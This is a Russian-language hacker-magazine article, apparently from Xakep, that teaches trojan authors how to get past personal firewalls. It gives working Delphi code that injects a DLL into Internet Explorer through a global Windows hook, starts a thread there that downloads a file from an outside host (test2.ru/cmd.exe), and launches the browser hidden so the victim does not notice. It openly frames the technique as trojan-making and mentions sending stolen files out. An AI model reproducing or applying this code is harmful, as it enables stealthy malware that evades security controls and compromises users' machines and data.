Лет 5-7 назад, когда файрволы еще были
экзотикой, трояны для работы с сетью могли
использовать обычный TCP/IP. Вспомним,
например, Back Orifice группы Cult of a Dead Cow. Этот
троян получил большое распространение в
конце прошлого века и стал классикой backdoor.
Многие трояны, написанные после, так или
иначе его копировали. Работал Back Orifice так: на
машине жертвы из автозагрузки в реестре
запускался сервер, который открывал
заданный порт и ждал. Хакер на своей машине
запускал программу-клиент, коннектился к
серверу по TCP/IP и спокойно посылал ему
команды. Сервер эти команды выполнял и так
же спокойно отсылал клиенту результаты. А
глупый пользователь как ни в чем не бывало
продолжал лазить по порносайтам =) Как тогда
все было просто, правда?

Но хорошие времена прошли, пользователи
поумнели. Сегодня свежий антивирус и
правильно настроенный файрвол на домашней
машине — уже не редкость, о серверах и
говорить нечего. К тому же операционки
стали выпускать со встроенными файрволами (например
MS Windows XP SP2 и некоторые Linux’ы). Поэтому если у
хакера и получается как-нибудь запустить на
машине жертвы троян, пробраться в сеть
этому трояну теперь ой как непросто.
Приходится идти на всякие хитрости и уловки.
Как раз об одной такой хитрости мы сегодня и
поговорим 😉

А что если прикинуться броузером?

Обычно файрвол настроен пропускать в сеть
web-браузер — иначе как пользователь будет
лазить по своим любимым сайтам? Хитрость в
том, что бы троян внедрился в web-браузер, как-нибудь
"заразил" его, и работал с сетью от его
имени. Причем внедрение надо провести так,
что бы файрвол ничего не заметил.

Вариантов тут несколько. Первое, что
приходит в голову: попробовать заразить EXE-файл
web-браузера на диске (например iexplore.exe для MS
Internet Explorer) так же, как это делают вирусы. Но,
во-первых, внедрить собственный код в EXE-файл
на диске не так-то просто — особенно если
этот код написан на языке высокого уровня
типа Delphi. Во-вторых, при заражении EXE-файл
изменится, а это плохо. Обычно файрволы,
перед тем как выпустить какую-нибудь
программу в сеть, проверяют ее исполняемые
файлы на диске. Если файлы изменились,
доступ в сеть для программы закрывается, а
пользователю тут же выдается
соответствующее сообщение. Ну и в третьих,
некоторые браузеры при запуске могут
проверять собственные файлы. Если файлы
изменились, браузер сообщает об этом
пользователю и прекращает работу. Этим
страдает например IE-based браузер, встроенный
в PHP Expert Editor 3.2.1.

В общем, заражение EXE-файла на диске
практически ничего не дает. Поэтому
троянмейкеры применяют другой прием —
заражение браузера прямо в памяти. В MS Windows
существует несколько техник, позволяющих
трояну подгрузить свой код в адресное
пространство чужого процесса (в том числе
браузера), не изменяя никаких файлов на
диске. Рассмотрим, ИМХО, наиболее простую из
них.

Техника DLL-INJECTING через ловушки

Эта техника известна троянмейкерам уже
давно. Она позволяет внедрить свою DLL в
адресное пространство чужого процесса (injecting
— по англ. "внедрение"). Техника
основана на том, что Windows позволяет
программам устанавливать так называемые
ловушки (hooks, "хуки") на сообщения
системы. Обычно ловушки используются
программами в сугубо мирных целях. Например,
переключатель языков Windows устанавливает
ловушку на сообщения от клавиатуры, что бы
знать, какие клавиши нажаты. Но ловушки
могут быть использованы и троянами, что бы
прорваться мимо файрвола в сеть.

Давайте рассмотрим конкретный пример, а с
теорией разберемся по ходу дела — думаю, так
получится понятнее всего (готовые
исходники примера лежат
здесь
). Конечно, наш пример сам по себе ни
в коем случае не будет трояном — мы же
законопослушные граждане 😉 Мы просто
напишем процедуру InjectDLLviaHOOKS(dll_name: string),
которая внедряет указанную в dll_name
библиотеку в адресное пространство Internet
Explorer =)

Сначала попробуем просто загрузить dll_name с
помощью API LoadLibrary. При успешной загрузке эта
API должна вернуть нам идентификатор (его еще
называют "хэндл") загруженной DLL. Этот
идентификатор мы поместим в переменную h
типа THandle:

h:=LoadLibrary(PAnsiChar(dll_name));
//
проверим, загрузилась ли
библиотека

if h=0 then
begin
//
нет — выдадим messagebox с
сообщением и выйдем из процедуры

MessageBox(0, PAnsiChar(‘Не могу загрузить DLL ‘+dll_name+’!’), 
DLL_INJ, MB_OK+MB_ICONERROR);
exit;
end;

Здесь и дальше константа DLL_INJ содержит
заголовок окна messagebox’а:

const DLL_INJ = ‘DLL Injector (HOOKS)’;

Это сделано просто для удобства, что бы
каждый раз не перенабирать заголовок
заново.

Теперь с помощью API GetProcAddress найдем в
загруженной DLL адреса функций HookProc и SetHK. Что
это за функции нам станет ясно дальше. Код:

p:=GetProcAddress(h, ‘HookProc’);
@sh:=GetProcAddress(h, ‘SetHK’);
//
проверим, нашлись ли
адреса

if ((p=nil) or (@sh=nil)) then
begin
//
не нашлись 🙁 — выдадим
messagebox

MessageBox(0, PAnsiChar(‘Библиотека ‘+
dll_name+’ не содержит необходимых функций!’),
DLL_INJ, MB_OK+MB_ICONERROR);
//
выгрузим библиотеку
FreeLibrary(h);
//
и выйдем
exit;
end;

Причем заметим, что p — это просто указатель (тип
pointer), а sh — переменная-функция, прототип
которой описан как:

type TShp = procedure (hk: HHOOK) stdcall;

Пока что ничего особенного, правда? Только
неясно, что такое HHOOK. Вот сейчас и выясним.
Установим ловушку. Делается это с помощью API
SetWindowsHookEx. В качестве первого параметра
необходимо указать тип ловушки. Мы укажем
WH_CALLWNDPROC — это значит, что мы хотим поставить
ловушку на сообщения, получаемые окнами.
Вторым и третьим параметром передадим
адрес функции ловушки (указатель p на HookProc) и
идентификатор DLL (переменная h), в котором
эта функция находиться. Четвертый параметр
— идентификатор потока, на который
необходимо поставить ловушку. У нас этот
параметр равен 0 — это значит, что мы хотим
поставить ловушки на все потоки в системе,
которые имеют окна.

Если ловушка поставлена успешно API SetWindowsHookEx
вернет идентификатор ловушки, который мы
поместим в переменную hk типа HHOOK (вот мы и
выснили, что такое HHOOK!). Если ловушку
установить не удалось — мы получим 0.

А вот и кусок кода, который все это делает:

hk:=SetWindowsHookEx(WH_CALLWNDPROC, p, h, 0);
//
проверим, установилась ли
ловушка

if hk=0 then
begin
//
нет =( — messagebox, отгрузка
библиотеки, выход

MessageBox(0, PAnsiChar(‘Невозможно установить хук!’),
DLL_INJ, MB_OK+MB_ICONERROR);
FreeLibrary(h);
exit;
end;

Теперь, если мы все сделали правильно,
ловушка установилась. Что же произошло? А
произошло вот что — наша DLL загрузилась во
все процессы, которые имеют окна. И теперь
как только Windows пошлет какому-нибудь окну
сообщение (любое!), это сообщение сперва
попадет к нашей функции HookProc, и только потом
— к нужному окну. Более того, если мы уже
после установки ловушки загрузим какую-то
программу с окнами, наша DLL подгрузиться к
этой программе автоматически! Так что даже
если браузер еще не запущен, не страшно, мы
можем подождать =)

Однако тут все не так просто, как кажется на
первый взгляд. Функция HookProc в dll_name не может
быть какой попало, она должна иметь
определенный вид. Какой? Сейчас увидим.

Создадим в Delphi шаблон DLL. В Delphi 7 это File=>New=>Other=>New=>DLL
Wizard, в других версиях или точно так же, или
похоже. Удалим из шаблона все и впишем туда:

library hook_dll;
uses Windows;
begin
end.

Затем сохранимся под именем hook_dll (скомпилированная
библиотека таким образом будет называться
hook_dll.dll). Теперь вобьем функцию HookProc:

function HookProc(nCode, wParam, lParam: integer): integer
stdcall;
begin
//
просто передадим
сообщение дальше по цепочке

Result:=CallNextHookEx(_hook, nCode, wParam, lParam);
end;

Не забудьте про stdcall! Тем самым вы укажете
компилятору Delphi, что параметры нужно
передавать функции на стеке в обратном
порядке (если вы не очень поняли, что это
значит — Гейтс с ним, просто не забудьте про
stdcall, это важно).

Теперь посмотрим на саму функцию. HookProc
принимает три параметра типа integer. Не будем
сейчас разбираться, что означают эти
параметры. Скажем только, что nCode — это число,
которое говорит нашей функции, как
обрабатывать поступившее сообщение Windows, а
wParam и lParam — это, собственно, и есть само
сообщение. Поскольку мы вообще никак не
собираемся его обрабатывать, мы просто
передадим его дальше — окну или следующей
ловушке.

"Какой следующей ловушке?" — спросит
особо дотошный читатель. Отвечаю: дело в том,
что не одни мы можем ставить ловушки. Очень
может быть, что перед нами какая-то
программа (тот же переключатель языков Windows)
уже поставила точно такую же ловушку.
Потому сообщение сначала попадет к функции
нашей ловушки; эта функция должна передать
его следующей ловушки — той, которая была
поставлена перед нами; та — следующей и т.д.
по цепочке. Ловушка, которая была
поставлена самой первой, передаст
сообщение уже окну. Ну, конечно, если до
нашей ловушки никаких других не ставили,
тогда мы передаем сообщение сразу окну.

Но мы отвлеклись, давайте вернемся к
функции HookProc. Передача сообщения
осуществляется с помощью API CallNextHookEx. Причем
специфика ловушек состоит в том, что HookProc
должна вернуть значение, которое получится
в результате работы CallNextHookEx.

Посмотрим на параметры CallNextHookEx. С nCode, wParam,
lParam все ясно. А вот что такое _hook? Ответ на
этот вопрос зависит от версии Windows. В 9x/ME это
обязательно должен быть идентификатор
ловушки, который мы получили с помощью
SetWindowsHookEx. В 2000/XP _hook может быть просто 0.
Получается, что если мы работаем под 9x/ME, мы
должны как-то передать идентификатор
ловушки в библиотеку. Помните, в самом
начале, сразу после загрузки DLL с помощью
LoadLibrary мы находили в ней адрес функции SetHK? В
hook_dll.dll эта функция выглядит так:

var
//
_hook обьявляется
глобальной переменной в hook_dll

//
типа HHOOK со значением по
умолчанию 0

_hook: HHOOK = 0;

… … …

// собственно, сама
процедура

procedure SetHK(hk: HHOOK) stdcall;
begin
_hook:=hk;
end;

SetHK передает идентификатор ловушки в нашу DLL,
поэтому ее необходимо вызвать в процедуре
установки хука сразу после SetWindowsHookEx. Что мы
и сделаем =)

sh(hk);

Правда, если вы собираетесь работать только
под Windows 2000/XP, функция SetHK не обязательна. Как
уже было сказано, _hook в этом случае может
быть равно 0 (мы, кстати, так и прописали по
умолчанию). Поэтому SetHK можно вообще убрать
из hook_dll, а в процедуре внедрения DLL не искать
адрес и не вызывать ее.

Надо сказать, что здесь есть еще одна
тонкость, которую мы сегодня обсуждать не
будем. Она совсем не чувствуется на Windows 9x/ME/2000/XP.
Но если вы попытаетесь ставить ловушки в
Windows NT и писать все это на Delphi, вам придеться
здорово попотеть, что бы передать
идентификатор ловушки в DLL. Это связано с
тем, что компилятор Delphi очень криво
поддерживает так называемые shared-секции. Но
не надо о грустном =), тем более кто сейчас
помнит NT?

Итак, ловушка стоит, наша DLL подгружается во
все процессы с окнами. Но нам ведь не нужны
все процессы, нам нужен процесс Internet Explorer —
iexplore.exe. Как же узнать, в какой процесс нас
подгрузила система? Очень просто — в секцию
инициализации DLL впишем код:

begin
//
сравниваем идентификатор
процесса, в который нас загрузили,

//
с идентификатором iexplore.exe
if GetModuleHandle(nil)=GetModuleHandle(‘iexplore.exe’) then
begin
//
если совпало — значит мы
наконец-то попали в Internet Explorer

//
создадим поток, в котором
будем работать

CreateThread(nil, 0, @WorkWithNet, pointer(12345), 0, thID);
end;
end.

Передавая API-функции GetModuleHandle параметр nil, мы
находим хендл процесса, в который нас
загрузили, и сравниваем с хендлом Internet Explorer.
Это работает даже если iexplore.exe еще не
запущен — тогда GetModuleHandle(‘iexplore.exe’) просто
вернет нам 0. Ну и ничего страшного — можно
ведь сравнивать и с нулем =) Если сравнение
прошло успешно, мы создадим поток, в котором
и будем работать.

"А зачем создавать поток?" — спросит тот
же дотошный читатель, что спрашивал про
следующую ловушку =), — "Ведь можно вместо
какого-то малопонятного CreateThread просто
вписать свой код!" Так то оно так, но…
Загрузка DLL не закончится, пока не будет
выполнен весь код в секции инициализации. И
если мы собираемся работать с сетью прямо в
секции инициализации, то процесс загрузки
может затянуться надолго. Если он затянется,
у того процесса, в которое мы внедрились (особенно
это касается процессов, запускаемых после
установки ловушки) могут возникнуть
проблемы с обработкой сообщений и оно
повиснет. Кроме того, Windows накладывает много
чисто системных ограничений на код в секции
инициализации DLL — там много чего запрещено
из того, что разрешено обычному коду. А
зачем нам запреты и ограничения? 

Поток создается обычным образом, с помощью
API CreateThread. @WorkWithNet — указатель на процедуру,
которая будет выполняться в потоке. thID —
глобальная переменная типа THandle, в которую
будет помещен идентификатор потока (нам-то
она ни к чему, но по синтаксису быть должна).
pointer(12345) — указатель на переменную, которая
передается потоку (опять-таки он
сформирован "от балды", т.к. никакие
внешние переменный в потоке мы не
используем). Поток стартует сразу после
выполнения CreateThread.

Теперь о процедуре WorkWithNet. Выглядит она так:

procedure WorkWithNet(thrVar: integer) stdcall;
begin
//
скачиваем файл http://test2.ru/cmd.exe
и записываем его в d:\cmd.exe

URLDownloadToFile(nil, ‘http://test2.ru/cmd.exe’, ‘d:\cmd.exe’, 0, nil);
// в
ыдаем messagebox с сообщением
об успешном внедрении

MessageBox(0, ‘Успешно внедрились Internet Explorer и
попробовали ‘+
‘скачать файл в обход файрвола =)) Файл
должен лежать в d:\’,
‘Hook DLL’, MB_OK);
//
на этом процедура потока
завершается и поток — вместе с ней

end;

Думаю, тут все понятно. Только не забудьте
вместо http://test2.ru/cmd.exe указать какой-нибудь
правильный адрес файла в сети и включить в
uses модуль UrlMon — в нем описана API-функция
URLDownloadToFile.

Ловушка работает, пока запущена EXE-программа,
которая ее установила. После завершения
этой EXE система снимает ловушку
автоматически. Если ловушку нужно снять до
завершения установившей ее программы,
воспользуйтесь API UnhookWindowsHookEx. В качестве
единственного параметра ей надо передать
идентификатор ловушки:

UnhookWindowsHookEx(hk);

Вот, собственно, и вся техника DLL-injecting с
помощью ловушек =)

Проблемы

Стоит, сказать о некоторых проблемах,
которые возникают при использовании DLL
injecting через ловушки.

Во первых, внедрение DLL происходит только в
те процессы, которые имею окна. Если жертва
трояна — ненормальный маньяк ;), который
ходит в сеть через текстовый браузер (например
Lynx в DOS-сеансе), то троян отдыхает. Никакими
ловушками он никуда не пролезет. К счастью,
сегодня текстовые браузеры — редкость.

Во вторых, без прав администратора в 2000/XP
троянская DLL не сможет внедриться в
системные процессы (типа winlogon.exe), даже если
те имеют окна. Но это тоже не большая
проблема. Браузер в большинстве случаев
запускается как обычный процесс и для
доступа к нему никаких особых прав не нужно.
Например, код к этой статье нормально
работает с Internet Explorer 6.0 под "Гостем" в
Windows XP SP2.

В третьих — файрволы умнеют с каждым релизом
и сейчас особо продвинутые уже не выпускают
в сеть подгруженные с помощью ловушки DLL-ки.
Для того, что бы проскользнуть мимо них,
нужны более сложные техники. Вот это,
конечно, уже печально =(. Но увы — такова
суровая правда жизни.

Иногда возникает еще и четвертая проблема —
жертва сидит в сети, но браузер не запускает
(например, сутками сосет почту и торчит в
Асе). А трояну нужно срочно скачать для себя
обновление или отправить краденые файлы.
Эта проблема имеет очень простое решение =)

Запусти браузер сам!

В Windows есть хорошая API-функция ShellExecute, она
открывает файлы и запускает программы.
Вызвать эту функцию — все равно, что дважды
клацнуть по указнному файлу. Документы
будут открываются в Word’е, файлы с
расширением TXT — в блокноте, а EXE… они просто
запускаться =) Это мы и используем — запустим
браузер сами!

"Стоп, стоп!" — скажет уже всех
задолбавший дотошный читатель, — "Ведь
если мы сами запустим браузер, ламер,
которому мы впихнули троян, это увидит. И
такой шутки скорее всего не поймет".

Отвечаю: спокойно, все предусмотрено!
Допустим, мы хотим запустить Internet Explorer.
Вызовем ShellExecute так:

ShellExecute(0, ‘open’, ‘iexplore.exe’, nil, nil, SW_HIDE);

Первый параметр — хендл окна-владельца
открытого браузера. У нас 0 — владельца нет.
Второй и третий параметры — операция (у нас
"open" — т.е. открыть) и программа, к
которой эта операция дожна быть применена.
Четвертый параметр — PAnsiChar-строка с
параметрами. Мы ничего не передаем, у нас
там nil. Предпоследний, пятый параметр, тоже
PAnsiChar-строка — директория по умолчанию. У нас
опять-таки nil. И наконец последний, самый
интересный параметр — константа,
определяющая способ запуска программы, в
которой будет открыт документ. Здесь мы
передаем SW_HIDE, и наш браузер запускается в
скрытом виде! Т.е., говоря языком VCL-форм в
Delphi, ее главное окно имеет свойство Visible:=FALSE.

Поэтому когда мы сами откроем Internet Explorer по
умолчанию, пользователь (или, как говорит
дотошный читатель, "ламер") ничего не
заметит. Увидеть и закрыть запущенный таким
образом браузер можно только в менеджере
задач, по Ctr+Alt+Del. Кстати, в Windows 2000/XP для этого
понадобится зайти на вкладку "Процессы",
потому что на вкладке "Приложения"
iexplore.exe не видно =)

Сам троян может узнать, запустился ли
браузер, проверив значение, которое
возвратит ShellExecute. Если оно больше 32 — все о’кей.

Конечно, можно для запуска браузера можно
использовать не только ShellExecute. В Windows есть
еще две API — WinExec и CreateProcess. Но WinExec морально
устарела (хотя работает), а в CreateProcess слишком
много параметров, поэтому ею не очень
удобно пользоваться.

Думаю, с этим вопросом почти все понятно.
"Почти" — потому что тут все-таки
остаются некоторые нюансы. Например, что
если у пользователя на машине два браузера —
кроме Internet Exlorer еще Opera или Mozila? А файрволл
настроен так, что выпускает в сеть только
один из этих браузеров. Тогда как узнать
какой именно?

Увы, моя статья не резиновая, потому нам
придется поговорить о таких тонкостях в
следующий раз. А на сегодня я прощаюсь с
вами. Bye =)

Оставить мнение

Check Also

LUKS container vs Border Patrol Agent. Как уберечь свои данные, пересекая границу

Не секрет, что если ты собрался посетить такие страны как США или Великобританию то, прежд…